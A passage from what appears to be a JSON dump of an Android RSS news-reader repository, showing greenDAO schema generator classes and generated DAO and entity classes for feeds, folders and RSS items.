version.getVersionNumber());\n            }\n            versionNumbers.add(versionNumber);\n        }\n\n        if (numCurrent != 1) {\n            throw new IllegalArgumentException(\n                    \"Unable to generate schema, exactly one schema marked as current is required.\");\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/generator/LastestVersion.java",
    "content": "package de.luhmer.owncloudnewsreader.database.generator;\n\nimport de.greenrobot.daogenerator.Entity;\nimport de.greenrobot.daogenerator.Property;\nimport de.greenrobot.daogenerator.Schema;\n\npublic class LastestVersion extends SchemaVersion {\n\n    /**\n     * Constructor\n     *\n     * @param current\n     */\n    public LastestVersion(boolean current) {\n        super(current);\n\n        Schema schema = getSchema();\n        addEntitysToSchema(schema);\n    }\n\n    @SuppressWarnings(\"unused\") // id properties (folderId, etc.) need to be in database\n    private static void addEntitysToSchema(Schema schema) {\n\n        /* Folder */\n        Entity folder = schema.addEntity(\"Folder\");\n        Property folderId = folder.addIdProperty().notNull().getProperty();\n        folder.addStringProperty(\"label\").notNull();\n\n        /* Feed */\n        Entity feed = schema.addEntity(\"Feed\");\n        Property feedId = feed.addIdProperty().notNull().getProperty();\n        Property folderIdProperty = feed.addLongProperty(\"folderId\").index().getProperty();\n\n        feed.addStringProperty(\"feedTitle\").notNull();\n        feed.addStringProperty(\"faviconUrl\");\n        feed.addStringProperty(\"link\");\n        feed.addStringProperty(\"avgColour\");\n        feed.addStringProperty(\"notificationChannel\"); // none, default, <anything-else>\n        feed.addLongProperty(\"openIn\");\n\n\n        /* RSS Item */\n        Entity rssItem = schema.addEntity(\"RssItem\");\n        Property rssItemId = rssItem.addIdProperty().notNull().getProperty();\n        Property rssItemFeedId = rssItem.addLongProperty(\"feedId\").notNull().index().getProperty();\n\n        rssItem.addStringProperty(\"link\");\n        rssItem.addStringProperty(\"title\");\n        rssItem.addStringProperty(\"body\");\n        rssItem.addBooleanProperty(\"read\");\n        rssItem.addBooleanProperty(\"starred\");\n        rssItem.addStringProperty(\"author\").notNull();\n        rssItem.addStringProperty(\"guid\").notNull();\n        rssItem.addStringProperty(\"guidHash\").notNull();\n        rssItem.addStringProperty(\"fingerprint\").notNull();\n        rssItem.addBooleanProperty(\"read_temp\");\n        rssItem.addBooleanProperty(\"starred_temp\");\n        rssItem.addDateProperty(\"lastModified\");\n        rssItem.addDateProperty(\"pubDate\");\n\n\n        rssItem.addStringProperty(\"enclosureLink\");\n        rssItem.addStringProperty(\"enclosureMime\");\n\n        rssItem.addStringProperty(\"mediaThumbnail\");\n        rssItem.addStringProperty(\"mediaDescription\");\n\n        rssItem.addBooleanProperty(\"rtl\");\n\n\n        feed.addToOne(folder, folderIdProperty);\n        folder.addToMany(feed, folderIdProperty);\n\n        feed.addToMany(rssItem, rssItemFeedId);\n        rssItem.addToOne(feed, rssItemFeedId);\n\n\n        Entity rssItemView = schema.addEntity(\"CurrentRssItemView\");\n        rssItemView.addIdProperty().notNull();\n        rssItemView.addLongProperty(\"rssItemId\").notNull();\n\n\n        rssItem.implementsInterface(\"HasId<Long>\");\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    public int getVersionNumber() {\n        return 10;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/generator/SchemaVersion.java",
    "content": "package de.luhmer.owncloudnewsreader.database.generator;\n\nimport de.greenrobot.daogenerator.Schema;\n\npublic abstract class SchemaVersion {\n\n    public static final String CURRENT_SCHEMA_PACKAGE = \"de.luhmer.owncloudnewsreader.database.model\";\n\n    private final Schema schema;\n\n    private final boolean current;\n\n    /**\n     * Constructor\n     *\n     * @param current indicating if this is the current schema.\n     */\n    public SchemaVersion(boolean current) {\n        int version = getVersionNumber();\n        String packageName = CURRENT_SCHEMA_PACKAGE;\n        if (!current) {\n            packageName += \".v\" + version;\n        }\n        this.schema = new Schema(version, packageName);\n        this.schema.enableKeepSectionsByDefault();\n        this.current = current;\n    }\n\n    /**\n     * @return the GreenDAO schema.\n     */\n    protected Schema getSchema() {\n        return schema;\n    }\n\n    /**\n     * @return boolean indicating if this is the highest or current schema version.\n     */\n    public boolean isCurrent() {\n        return current;\n    }\n\n    /**\n     * @return unique integer schema version identifier.\n     */\n    public abstract int getVersionNumber();\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/CurrentRssItemView.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\n// THIS CODE IS GENERATED BY greenDAO, EDIT ONLY INSIDE THE \"KEEP\"-SECTIONS\n\n// KEEP INCLUDES - put your custom includes here\n// KEEP INCLUDES END\n/**\n * Entity mapped to table \"CURRENT_RSS_ITEM_VIEW\".\n */\npublic class CurrentRssItemView {\n\n    private long id;\n    private long rssItemId;\n\n    // KEEP FIELDS - put your custom fields here\n    // KEEP FIELDS END\n\n    public CurrentRssItemView() {\n    }\n\n    public CurrentRssItemView(long id) {\n        this.id = id;\n    }\n\n    public CurrentRssItemView(long id, long rssItemId) {\n        this.id = id;\n        this.rssItemId = rssItemId;\n    }\n\n    public long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public long getRssItemId() {\n        return rssItemId;\n    }\n\n    public void setRssItemId(long rssItemId) {\n        this.rssItemId = rssItemId;\n    }\n\n    // KEEP METHODS - put your custom methods here\n    // KEEP METHODS END\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/CurrentRssItemViewDao.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteStatement;\n\nimport de.greenrobot.dao.AbstractDao;\nimport de.greenrobot.dao.Property;\nimport de.greenrobot.dao.internal.DaoConfig;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n/**\n * DAO for table \"CURRENT_RSS_ITEM_VIEW\".\n */\npublic class CurrentRssItemViewDao extends AbstractDao<CurrentRssItemView, Long> {\n\n    public static final String TABLENAME = \"CURRENT_RSS_ITEM_VIEW\";\n\n    /**\n     * Drops the underlying database table.\n     */\n    public static void dropTable(SQLiteDatabase db, boolean ifExists) {\n        String sql = \"DROP TABLE \" + (ifExists ? \"IF EXISTS \" : \"\") + \"\\\"CURRENT_RSS_ITEM_VIEW\\\"\";\n        db.execSQL(sql);\n    }\n\n\n    public CurrentRssItemViewDao(DaoConfig config) {\n        super(config);\n    }\n\n    public CurrentRssItemViewDao(DaoConfig config, DaoSession daoSession) {\n        super(config, daoSession);\n    }\n\n    /** Creates the underlying database table. */\n    public static void createTable(SQLiteDatabase db, boolean ifNotExists) {\n        String constraint = ifNotExists? \"IF NOT EXISTS \": \"\";\n        db.execSQL(\"CREATE TABLE \" + constraint + \"\\\"CURRENT_RSS_ITEM_VIEW\\\" (\" + //\n                \"\\\"_id\\\" INTEGER PRIMARY KEY NOT NULL ,\" + // 0: id\n                \"\\\"RSS_ITEM_ID\\\" INTEGER NOT NULL );\"); // 1: rssItemId\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected void bindValues(SQLiteStatement stmt, CurrentRssItemView entity) {\n        stmt.clearBindings();\n        stmt.bindLong(1, entity.getId());\n        stmt.bindLong(2, entity.getRssItemId());\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public CurrentRssItemView readEntity(Cursor cursor, int offset) {\n        CurrentRssItemView entity = new CurrentRssItemView( //\n                cursor.getLong(offset), // id\n                cursor.getLong(offset + 1) // rssItemId\n        );\n        return entity;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long readKey(Cursor cursor, int offset) {\n        return cursor.getLong(offset);\n    }\n\n    /**\n     * Properties of entity CurrentRssItemView.<br/>\n     * Can be used for QueryBuilder and for referencing column names.\n     */\n    public static class Properties {\n        public final static Property Id = new Property(0, long.class, \"id\", true, \"_id\");\n        public final static Property RssItemId = new Property(1, long.class, \"rssItemId\", false, \"RSS_ITEM_ID\");\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public void readEntity(Cursor cursor, CurrentRssItemView entity, int offset) {\n        entity.setId(cursor.getLong(offset));\n        entity.setRssItemId(cursor.getLong(offset + 1));\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected Long updateKeyAfterInsert(CurrentRssItemView entity, long rowId) {\n        entity.setId(rowId);\n        return rowId;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long getKey(CurrentRssItemView entity) {\n        if (entity != null) {\n            return entity.getId();\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected boolean isEntityUpdateable() {\n        return true;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/DaoMaster.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.content.Context;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteDatabase.CursorFactory;\nimport android.database.sqlite.SQLiteOpenHelper;\nimport android.util.Log;\n\nimport de.greenrobot.dao.AbstractDaoMaster;\nimport de.greenrobot.dao.identityscope.IdentityScopeType;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n/**\n * Master of DAO (schema version 10): knows all DAOs.\n */\npublic class DaoMaster extends AbstractDaoMaster {\n    public static final int SCHEMA_VERSION = 10;\n\n    /** Creates underlying database table using DAOs. */\n    public static void createAllTables(SQLiteDatabase db, boolean ifNotExists) {\n        FolderDao.createTable(db, ifNotExists);\n        FeedDao.createTable(db, ifNotExists);\n        RssItemDao.createTable(db, ifNotExists);\n        CurrentRssItemViewDao.createTable(db, ifNotExists);\n    }\n    \n    /** Drops underlying database table using DAOs. */\n    public static void dropAllTables(SQLiteDatabase db, boolean ifExists) {\n        FolderDao.dropTable(db, ifExists);\n        FeedDao.dropTable(db, ifExists);\n        RssItemDao.dropTable(db, ifExists);\n        CurrentRssItemViewDao.dropTable(db, ifExists);\n    }\n    \n    public static abstract class OpenHelper extends SQLiteOpenHelper {\n\n        public OpenHelper(Context context, String name, CursorFactory factory) {\n            super(context, name, factory, SCHEMA_VERSION);\n        }\n\n        @Override\n        public void onCreate(SQLiteDatabase db) {\n            Log.i(\"greenDAO\", \"Creating tables for schema version \" + SCHEMA_VERSION);\n            createAllTables(db, false);\n        }\n    }\n    \n    /** WARNING: Drops all table on Upgrade! Use only during development. */\n    public static class DevOpenHelper extends OpenHelper {\n        public DevOpenHelper(Context context, String name, CursorFactory factory) {\n            super(context, name, factory);\n        }\n\n        @Override\n        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n            Log.i(\"greenDAO\", \"Upgrading schema from version \" + oldVersion + \" to \" + newVersion + \" by dropping all tables\");\n            dropAllTables(db, true);\n            onCreate(db);\n        }\n    }\n\n    public DaoMaster(SQLiteDatabase db) {\n        super(db, SCHEMA_VERSION);\n        registerDaoClass(FolderDao.class);\n        registerDaoClass(FeedDao.class);\n        registerDaoClass(RssItemDao.class);\n        registerDaoClass(CurrentRssItemViewDao.class);\n    }\n    \n    public DaoSession newSession() {\n        return new DaoSession(db, IdentityScopeType.Session, daoConfigMap);\n    }\n    \n    public DaoSession newSession(IdentityScopeType type) {\n        return new DaoSession(db, type, daoConfigMap);\n    }\n    \n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/DaoSession.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.database.sqlite.SQLiteDatabase;\n\nimport java.util.Map;\n\nimport de.greenrobot.dao.AbstractDao;\nimport de.greenrobot.dao.AbstractDaoSession;\nimport de.greenrobot.dao.identityscope.IdentityScopeType;\nimport de.greenrobot.dao.internal.DaoConfig;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n\n/**\n * {@inheritDoc}\n * \n * @see de.greenrobot.dao.AbstractDaoSession\n */\npublic class DaoSession extends AbstractDaoSession {\n\n    private final DaoConfig folderDaoConfig;\n    private final DaoConfig feedDaoConfig;\n    private final DaoConfig rssItemDaoConfig;\n    private final DaoConfig currentRssItemViewDaoConfig;\n\n    private final FolderDao folderDao;\n    private final FeedDao feedDao;\n    private final RssItemDao rssItemDao;\n    private final CurrentRssItemViewDao currentRssItemViewDao;\n\n    public DaoSession(SQLiteDatabase db, IdentityScopeType type, Map<Class<? extends AbstractDao<?, ?>>, DaoConfig>\n            daoConfigMap) {\n        super(db);\n\n        folderDaoConfig = daoConfigMap.get(FolderDao.class).clone();\n        folderDaoConfig.initIdentityScope(type);\n\n        feedDaoConfig = daoConfigMap.get(FeedDao.class).clone();\n        feedDaoConfig.initIdentityScope(type);\n\n        rssItemDaoConfig = daoConfigMap.get(RssItemDao.class).clone();\n        rssItemDaoConfig.initIdentityScope(type);\n\n        currentRssItemViewDaoConfig = daoConfigMap.get(CurrentRssItemViewDao.class).clone();\n        currentRssItemViewDaoConfig.initIdentityScope(type);\n\n        folderDao = new FolderDao(folderDaoConfig, this);\n        feedDao = new FeedDao(feedDaoConfig, this);\n        rssItemDao = new RssItemDao(rssItemDaoConfig, this);\n        currentRssItemViewDao = new CurrentRssItemViewDao(currentRssItemViewDaoConfig, this);\n\n        registerDao(Folder.class, folderDao);\n        registerDao(Feed.class, feedDao);\n        registerDao(RssItem.class, rssItemDao);\n        registerDao(CurrentRssItemView.class, currentRssItemViewDao);\n    }\n    \n    public void clear() {\n        folderDaoConfig.getIdentityScope().clear();\n        feedDaoConfig.getIdentityScope().clear();\n        rssItemDaoConfig.getIdentityScope().clear();\n        currentRssItemViewDaoConfig.getIdentityScope().clear();\n    }\n\n    public FolderDao getFolderDao() {\n        return folderDao;\n    }\n\n    public FeedDao getFeedDao() {\n        return feedDao;\n    }\n\n    public RssItemDao getRssItemDao() {\n        return rssItemDao;\n    }\n\n    public CurrentRssItemViewDao getCurrentRssItemViewDao() {\n        return currentRssItemViewDao;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/Feed.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport java.util.List;\n\nimport de.greenrobot.dao.DaoException;\n\n// THIS CODE IS GENERATED BY greenDAO, EDIT ONLY INSIDE THE \"KEEP\"-SECTIONS\n\n// KEEP INCLUDES - put your custom includes here\n// KEEP INCLUDES END\n/**\n * Entity mapped to table \"FEED\".\n */\npublic class Feed {\n\n    private long id;\n    private Long folderId;\n    /** Not-null value. */\n    private String feedTitle;\n    private String faviconUrl;\n    private String link;\n    private String avgColour;\n    private String notificationChannel;\n    private Long openIn;\n\n    /** Used to resolve relations */\n    private transient DaoSession daoSession;\n\n    /** Used for active entity operations. */\n    private transient FeedDao myDao;\n\n    private Folder folder;\n    private Long folder__resolvedKey;\n\n    private List<RssItem> rssItemList;\n\n    // KEEP FIELDS - put your custom fields here\n    // KEEP FIELDS END\n\n    public Feed() {\n    }\n\n    public Feed(long id) {\n        this.id = id;\n    }\n\n    public Feed(long id, Long folderId, String feedTitle, String faviconUrl, String link, String avgColour, String notificationChannel, Long openIn) {\n        this.id = id;\n        this.folderId = folderId;\n        this.feedTitle = feedTitle;\n        this.faviconUrl = faviconUrl;\n        this.link = link;\n        this.avgColour = avgColour;\n        this.notificationChannel = notificationChannel;\n        this.openIn = openIn;\n    }\n\n    /** called by internal mechanisms, do not call yourself. */\n    public void __setDaoSession(DaoSession daoSession) {\n        this.daoSession = daoSession;\n        myDao = daoSession != null ? daoSession.getFeedDao() : null;\n    }\n\n    public long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public Long getFolderId() {\n        return folderId;\n    }\n\n    public void setFolderId(Long folderId) {\n        this.folderId = folderId;\n    }\n\n    /** Not-null value. */\n    public String getFeedTitle() {\n        return feedTitle;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setFeedTitle(String feedTitle) {\n        this.feedTitle = feedTitle;\n    }\n\n    public String getFaviconUrl() {\n        return faviconUrl;\n    }\n\n    public void setFaviconUrl(String faviconUrl) {\n        this.faviconUrl = faviconUrl;\n    }\n\n    public String getLink() {\n        return link;\n    }\n\n    public void setLink(String link) {\n        this.link = link;\n    }\n\n    public String getAvgColour() {\n        return avgColour;\n    }\n\n    public void setAvgColour(String avgColour) {\n        this.avgColour = avgColour;\n    }\n\n    public String getNotificationChannel() {\n        return notificationChannel;\n    }\n\n    public void setNotificationChannel(String notificationChannel) {\n        this.notificationChannel = notificationChannel;\n    }\n\n    public Long getOpenIn() {\n        return openIn;\n    }\n\n    public void setOpenIn(Long openIn) {\n        this.openIn = openIn;\n    }\n\n    /**\n     * To-one relationship, resolved on first access.\n     */\n    public Folder getFolder() {\n        Long __key = this.folderId;\n        if (folder__resolvedKey == null || !folder__resolvedKey.equals(__key)) {\n            if (daoSession == null) {\n                throw new DaoException(\"Entity is detached from DAO context\");\n            }\n            FolderDao targetDao = daoSession.getFolderDao();\n            Folder folderNew = targetDao.load(__key);\n            synchronized (this) {\n                folder = folderNew;\n            \tfolder__resolvedKey = __key;\n            }\n        }\n        return folder;\n    }\n\n    public void setFolder(Folder folder) {\n        synchronized (this) {\n            this.folder = folder;\n            folderId = folder == null ? null : folder.getId();\n            folder__resolvedKey = folderId;\n        }\n    }\n\n    /** To-many relationship, resolved on first access (and after reset). Changes to to-many relations are not persisted, make changes to the target entity. */\n    public List<RssItem> getRssItemList() {\n        if (rssItemList == null) {\n            if (daoSession == null) {\n                throw new DaoException(\"Entity is detached from DAO context\");\n            }\n            RssItemDao targetDao = daoSession.getRssItemDao();\n            List<RssItem> rssItemListNew = targetDao._queryFeed_RssItemList(id);\n            synchronized (this) {\n                if(rssItemList == null) {\n                    rssItemList = rssItemListNew;\n                }\n            }\n        }\n        return rssItemList;\n    }\n\n    /** Resets a to-many relationship, making the next get call to query for a fresh result. */\n    public synchronized void resetRssItemList() {\n        rssItemList = null;\n    }\n\n    /** Convenient call for {@link AbstractDao#delete(Object)}. Entity must attached to an entity context. */\n    public void delete() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.delete(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#update(Object)}. Entity must attached to an entity context. */\n    public void update() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.update(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#refresh(Object)}. Entity must attached to an entity context. */\n    public void refresh() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.refresh(this);\n    }\n\n    // KEEP METHODS - put your custom methods here\n    // KEEP METHODS END\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/FeedDao.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteStatement;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.greenrobot.dao.AbstractDao;\nimport de.greenrobot.dao.Property;\nimport de.greenrobot.dao.internal.DaoConfig;\nimport de.greenrobot.dao.internal.SqlUtils;\nimport de.greenrobot.dao.query.Query;\nimport de.greenrobot.dao.query.QueryBuilder;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n/**\n * DAO for table \"FEED\".\n */\npublic class FeedDao extends AbstractDao<Feed, Long> {\n\n    public static final String TABLENAME = \"FEED\";\n\n    /** Creates the underlying database table. */\n    public static void createTable(SQLiteDatabase db, boolean ifNotExists) {\n        String constraint = ifNotExists ? \"IF NOT EXISTS \" : \"\";\n        db.execSQL(\"CREATE TABLE \" + constraint + \"\\\"FEED\\\" (\" + //\n                \"\\\"_id\\\" INTEGER PRIMARY KEY NOT NULL ,\" + // 0: id\n                \"\\\"FOLDER_ID\\\" INTEGER,\" + // 1: folderId\n                \"\\\"FEED_TITLE\\\" TEXT NOT NULL ,\" + // 2: feedTitle\n                \"\\\"FAVICON_URL\\\" TEXT,\" + // 3: faviconUrl\n                \"\\\"LINK\\\" TEXT,\" + // 4: link\n                \"\\\"AVG_COLOUR\\\" TEXT,\" + // 5: avgColour\n                \"\\\"NOTIFICATION_CHANNEL\\\" TEXT,\" + // 6: notificationChannel\n                \"\\\"OPEN_IN\\\" INTEGER);\"); // 7: openIn\n        // Add Indexes\n        db.execSQL(\"CREATE INDEX \" + constraint + \"IDX_FEED_FOLDER_ID ON FEED\" +\n                \" (\\\"FOLDER_ID\\\");\");\n    }\n\n    private DaoSession daoSession;\n\n    private Query<Feed> folder_FeedListQuery;\n\n    public FeedDao(DaoConfig config) {\n        super(config);\n    }\n\n    public FeedDao(DaoConfig config, DaoSession daoSession) {\n        super(config, daoSession);\n        this.daoSession = daoSession;\n    }\n\n    /**\n     * Drops the underlying database table.\n     */\n    public static void dropTable(SQLiteDatabase db, boolean ifExists) {\n        String sql = \"DROP TABLE \" + (ifExists ? \"IF EXISTS \" : \"\") + \"\\\"FEED\\\"\";\n        db.execSQL(sql);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected void bindValues(SQLiteStatement stmt, Feed entity) {\n        stmt.clearBindings();\n        stmt.bindLong(1, entity.getId());\n\n        Long folderId = entity.getFolderId();\n        if (folderId != null) {\n            stmt.bindLong(2, folderId);\n        }\n        stmt.bindString(3, entity.getFeedTitle());\n\n        String faviconUrl = entity.getFaviconUrl();\n        if (faviconUrl != null) {\n            stmt.bindString(4, faviconUrl);\n        }\n\n        String link = entity.getLink();\n        if (link != null) {\n            stmt.bindString(5, link);\n        }\n\n        String avgColour = entity.getAvgColour();\n        if (avgColour != null) {\n            stmt.bindString(6, avgColour);\n        }\n\n        String notificationChannel = entity.getNotificationChannel();\n        if (notificationChannel != null) {\n            stmt.bindString(7, notificationChannel);\n        }\n\n        Long openIn = entity.getOpenIn();\n        if (openIn != null) {\n            stmt.bindLong(8, openIn);\n        }\n    }\n\n    @Override\n    protected void attachEntity(Feed entity) {\n        super.attachEntity(entity);\n        entity.__setDaoSession(daoSession);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long readKey(Cursor cursor, int offset) {\n        return cursor.getLong(offset);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Feed readEntity(Cursor cursor, int offset) {\n        Feed entity = new Feed( //\n                cursor.getLong(offset), // id\n                cursor.isNull(offset + 1) ? null : cursor.getLong(offset + 1), // folderId\n                cursor.getString(offset + 2), // feedTitle\n                cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3), // faviconUrl\n                cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4), // link\n                cursor.isNull(offset + 5) ? null : cursor.getString(offset + 5), // avgColour\n                cursor.isNull(offset + 6) ? null : cursor.getString(offset + 6), // notificationChannel\n                cursor.isNull(offset + 7) ? null : cursor.getLong(offset + 7) // openIn\n        );\n        return entity;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public void readEntity(Cursor cursor, Feed entity, int offset) {\n        entity.setId(cursor.getLong(offset));\n        entity.setFolderId(cursor.isNull(offset + 1) ? null : cursor.getLong(offset + 1));\n        entity.setFeedTitle(cursor.getString(offset + 2));\n        entity.setFaviconUrl(cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3));\n        entity.setLink(cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4));\n        entity.setAvgColour(cursor.isNull(offset + 5) ? null : cursor.getString(offset + 5));\n        entity.setNotificationChannel(cursor.isNull(offset + 6) ? null : cursor.getString(offset + 6));\n        entity.setOpenIn(cursor.isNull(offset + 7) ? null : cursor.getLong(offset + 7));\n    }\n\n    protected Feed loadCurrentDeep(Cursor cursor, boolean lock) {\n        Feed entity = loadCurrent(cursor, 0, lock);\n        int offset = getAllColumns().length;\n\n        Folder folder = loadCurrentOther(daoSession.getFolderDao(), cursor, offset);\n        entity.setFolder(folder);\n\n        return entity;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected Long updateKeyAfterInsert(Feed entity, long rowId) {\n        entity.setId(rowId);\n        return rowId;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long getKey(Feed entity) {\n        if (entity != null) {\n            return entity.getId();\n        } else {\n            return null;\n        }\n    }\n\n    /** @inheritdoc */\n    @Override    \n    protected boolean isEntityUpdateable() {\n        return true;\n    }\n    \n    /** Internal query to resolve the \"feedList\" to-many relationship of Folder. */\n    public List<Feed> _queryFolder_FeedList(Long folderId) {\n        synchronized (this) {\n            if (folder_FeedListQuery == null) {\n                QueryBuilder<Feed> queryBuilder = queryBuilder();\n                queryBuilder.where(Properties.FolderId.eq(null));\n                folder_FeedListQuery = queryBuilder.build();\n            }\n        }\n        Query<Feed> query = folder_FeedListQuery.forCurrentThread();\n        query.setParameter(0, folderId);\n        return query.list();\n    }\n\n    private String selectDeep;\n\n    protected String getSelectDeep() {\n        if (selectDeep == null) {\n            StringBuilder builder = new StringBuilder(\"SELECT \");\n            SqlUtils.appendColumns(builder, \"T\", getAllColumns());\n            builder.append(',');\n            SqlUtils.appendColumns(builder, \"T0\", daoSession.getFolderDao().getAllColumns());\n            builder.append(\" FROM FEED T\");\n            builder.append(\" LEFT JOIN FOLDER T0 ON T.\\\"FOLDER_ID\\\"=T0.\\\"_id\\\"\");\n            builder.append(' ');\n            selectDeep = builder.toString();\n        }\n        return selectDeep;\n    }\n\n    /** Reads all available rows from the given cursor and returns a list of new ImageTO objects. */\n    public List<Feed> loadAllDeepFromCursor(Cursor cursor) {\n        int count = cursor.getCount();\n        List<Feed> list = new ArrayList<Feed>(count);\n\n        if (cursor.moveToFirst()) {\n            if (identityScope != null) {\n                identityScope.lock();\n                identityScope.reserveRoom(count);\n            }\n            try {\n                do {\n                    list.add(loadCurrentDeep(cursor, false));\n                } while (cursor.moveToNext());\n            } finally {\n                if (identityScope != null) {\n                    identityScope.unlock();\n                }\n            }\n        }\n        return list;\n    }\n\n    public Feed loadDeep(Long key) {\n        assertSinglePk();\n        if (key == null) {\n            return null;\n        }\n\n        StringBuilder builder = new StringBuilder(getSelectDeep());\n        builder.append(\"WHERE \");\n        SqlUtils.appendColumnsEqValue(builder, \"T\", getPkColumns());\n        String sql = builder.toString();\n\n        String[] keyArray = new String[]{key.toString()};\n        Cursor cursor = db.rawQuery(sql, keyArray);\n\n        try {\n            boolean available = cursor.moveToFirst();\n            if (!available) {\n                return null;\n            } else if (!cursor.isLast()) {\n                throw new IllegalStateException(\"Expected unique result, but count was \" + cursor.getCount());\n            }\n            return loadCurrentDeep(cursor, true);\n        } finally {\n            cursor.close();\n        }\n    }\n    \n    /**\n     * Properties of entity Feed.<br/>\n     * Can be used for QueryBuilder and for referencing column names.\n     */\n    public static class Properties {\n        public final static Property Id = new Property(0, long.class, \"id\", true, \"_id\");\n        public final static Property FolderId = new Property(1, Long.class, \"folderId\", false, \"FOLDER_ID\");\n        public final static Property FeedTitle = new Property(2, String.class, \"feedTitle\", false, \"FEED_TITLE\");\n        public final static Property FaviconUrl = new Property(3, String.class, \"faviconUrl\", false, \"FAVICON_URL\");\n        public final static Property Link = new Property(4, String.class, \"link\", false, \"LINK\");\n        public final static Property AvgColour = new Property(5, String.class, \"avgColour\", false, \"AVG_COLOUR\");\n        public final static Property NotificationChannel = new Property(6, String.class, \"notificationChannel\", false, \"NOTIFICATION_CHANNEL\");\n        public final static Property OpenIn = new Property(7, Long.class, \"openIn\", false, \"OPEN_IN\");\n    }\n    \n    protected List<Feed> loadDeepAllAndCloseCursor(Cursor cursor) {\n        try {\n            return loadAllDeepFromCursor(cursor);\n        } finally {\n            cursor.close();\n        }\n    }\n    \n\n    /** A raw-style query where you can pass any WHERE clause and arguments. */\n    public List<Feed> queryDeep(String where, String... selectionArg) {\n        Cursor cursor = db.rawQuery(getSelectDeep() + where, selectionArg);\n        return loadDeepAllAndCloseCursor(cursor);\n    }\n \n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/Folder.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport java.util.List;\n\nimport de.greenrobot.dao.DaoException;\n\n// THIS CODE IS GENERATED BY greenDAO, EDIT ONLY INSIDE THE \"KEEP\"-SECTIONS\n\n// KEEP INCLUDES - put your custom includes here\n// KEEP INCLUDES END\n/**\n * Entity mapped to table \"FOLDER\".\n */\npublic class Folder {\n\n    private long id;\n    /** Not-null value. */\n    private String label;\n\n    /** Used to resolve relations */\n    private transient DaoSession daoSession;\n\n    /** Used for active entity operations. */\n    private transient FolderDao myDao;\n\n    private List<Feed> feedList;\n\n    // KEEP FIELDS - put your custom fields here\n    // KEEP FIELDS END\n\n    public Folder() {\n    }\n\n    public Folder(long id) {\n        this.id = id;\n    }\n\n    public Folder(long id, String label) {\n        this.id = id;\n        this.label = label;\n    }\n\n    /** called by internal mechanisms, do not call yourself. */\n    public void __setDaoSession(DaoSession daoSession) {\n        this.daoSession = daoSession;\n        myDao = daoSession != null ? daoSession.getFolderDao() : null;\n    }\n\n    public long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    /** Not-null value. */\n    public String getLabel() {\n        return label;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setLabel(String label) {\n        this.label = label;\n    }\n\n    /** To-many relationship, resolved on first access (and after reset). Changes to to-many relations are not persisted, make changes to the target entity. */\n    public List<Feed> getFeedList() {\n        if (feedList == null) {\n            if (daoSession == null) {\n                throw new 